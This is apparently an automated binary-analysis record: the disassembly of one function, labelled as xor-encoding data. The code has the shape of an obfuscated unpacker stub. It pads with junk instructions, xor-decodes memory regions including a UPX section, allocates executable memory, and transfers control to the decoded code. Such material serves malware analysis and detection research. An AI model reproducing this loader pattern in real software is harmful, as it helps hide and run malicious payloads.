Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa9d24ec6
dec eax
sub eax, ebx
or eax, ebx
popal
add ebx, 0x77b83cb4
sub eax, 0x81ee3590
add ebx, 0x1895e899
mov edx, 0
mov esi, ecx
add eax, ebx
add eax, ebx
mov edi, esi
add ebx, eax
add eax, 0x95d79685
mov ecx, edi
add ebx, 0x6b7bf526
inc eax
sub eax, ebx
inc edx
sub ebx, 0x92f8db33
inc ebx
sub ebx, 0xebfff7c5
cmp edx, 0x1001052
jne 0x47afdb
add eax, 0x52c967a2
or ebx, ebx
add eax, 1
cmp edx, 0x1001052
je 0x47b02d
mov ebx, 0
mov byte [ebx], cl
mov eax, ebx
dec ebx
inc eax
mov ebx, 0x2a563a17
mov ebx, 0x47ada2
and ecx, eax
mov edi, eax
mov esi, 0x47af96
add eax, edi
and ecx, edi
mov ecx, 0x62e11771
mov edx, dword [ebx]
mov edi, 0x2d8d5f77
sub ecx, 0xff8d42c3
and edx, 0xff
add ecx, 0x9819d0ee
add ecx, 0xb8e3e430
xor dword [esi], edx
sub eax, 0xc071009
add ecx, ecx
add esi, 1
dec ecx
or eax, eax
sub ecx, 0xd2f1a51a
inc ebx
and ecx, ecx
inc ecx
sub eax, 1
cmp esi, entry0
jl 0x47b04d
and eax, edi
mov ecx, 0xf1b95e97
and edi, eax
sub ecx, 0xea74ce82
mov ecx, edi
mov edi, 0xebbfd222
add esi, esi
and edi, esi
mov ecx, 0x47af9a
mov edi, edx
mov esi, 0x4285220a
mov ecx, dword [ecx]
inc esi
mov esi, edx
not ebx
mov ecx, dword [ecx]
mov esi, edi
add edx, ebx
push ecx
or edx, edi
mov esi, ebx
mov ecx, 0x47af96
inc edx
sub ebx, 0x5aea264f
dec esi
mov ecx, dword [ecx]
mov edi, 0x520ebcf
not ebx
mov ecx, dword [ecx]
mov ebx, edi
mov edx, esi
add esi, 1
push 0x47af9e
add edx, 0xecf98791
not ebx
sub edi, ebx
call ecx
sub ebx, edi
sub esi, 0x84aa86eb
dec esi
pop ecx
add edi, ebx
not ebx
push 0x47afab
and edi, edi
or edx, esi
dec ebx
push eax
add ebx, 0x2688ec4d
add edi, ebx
call ecx
or edi, esi
inc edx
push 0x40
add ebx, ebx
add edx, 1
push 0x3000
mov esi, 0x8d12e2ee
not esi
sub edi, edx
sub esp, 4
mov dword [esp], 0x2000025a
and edx, ebx
add edx, 0x56a7a93e
add esi, 1
push 0
add ebx, esi
sub edx, 0xb22bcdd9
add ebx, 0x176c6c99
call eax
add edx, 1
add esi, edx
add eax, 0x200001db
dec ebx
mov esi, edi
mov ecx, 0x24225b9e
or esi, edx
mov esi, 0x7bf865cc
sub ebx, 0xa3ad0a1c
mov dword [eax], ecx
mov esi, edx
not esi
mov edi, 0x68056d8d
mov ecx, dword [eax]
dec edi
add edi, 0xc051f614
not edx
cmp ecx, 0x24225b9e
je 0x47b1bc
mov ecx, 0
mov byte [ecx], bl
sub ebx, 0xe4b57a6f
or ebx, esi
add esi, edx
mov edx, 0xdf3e7cc5
inc edi
add ebx, 0xaffa2cb5
or ebx, eax
sub ebx, eax
mov esi, section.UPX1
add ebx, eax
add ebx, eax
mov edx, 0x47ada1
add eax, 0x3555c27
dec eax
not eax
mov ecx, 0
inc eax
not ebx
mov ebx, eax
mov edi, 0x47ada2
mov ebx, eax
or eax, eax
lea edi, [ecx + edi]
sub eax, 0x64207313
sub ebx, eax
mov edi, dword [edi]
mov ebx, eax
dec eax
and edi, 0xff
and ebx, ebx
dec eax
add ecx, 1
add ebx, ebx
dec ebx
mov eax, 0x7402fdc2
cmp ecx, 0x1f4
jne 0x47b234
mov ecx, 0
inc eax
sub ebx, eax
add eax, ebx
and eax, eax
add ebx, 0x21aa0f1d
xor dword [esi], edi
sub eax, ebx
or ebx, eax
add eax, 0x25b24385
add esi, 2
inc ebx
sub eax, 0x7aa79ac5
sub eax, 0xe72b33f2
cmp esi, edx
jl 0x47b1f7
dec ebx
dec ebx
or eax, eax
add ebx, 1
sub eax, 0x710190ab
mov ecx, section.UPX1
inc edi
or edi, edi
mov eax, section.UPX1
add edi, esi
add esi, 0x7d6324a5
mov ebx, 0x47ada1
inc esi
mov edi, esi
mov edx, 0
dec esi
and edi, edi
add edi, 0x242d13af
mov dl, byte [eax]
dec esi
mov esi, 0x6dbd9c6
mov byte [ecx], dl
add edi, edi
dec esi
add ecx, 1
dec edi
sub esi, edi
sub esi, edi
add eax, 2
add edi, edi
add edi, 0xd0b62e56
or esi, esi
cmp eax, ebx
jle 0x47b2a3
and edi, edi
mov edi, 0xd5950c11
mov ebx, eax
not ebx
mov ebx, eax
push 0x45e6a0
and eax, eax
and ebx, ebx
ret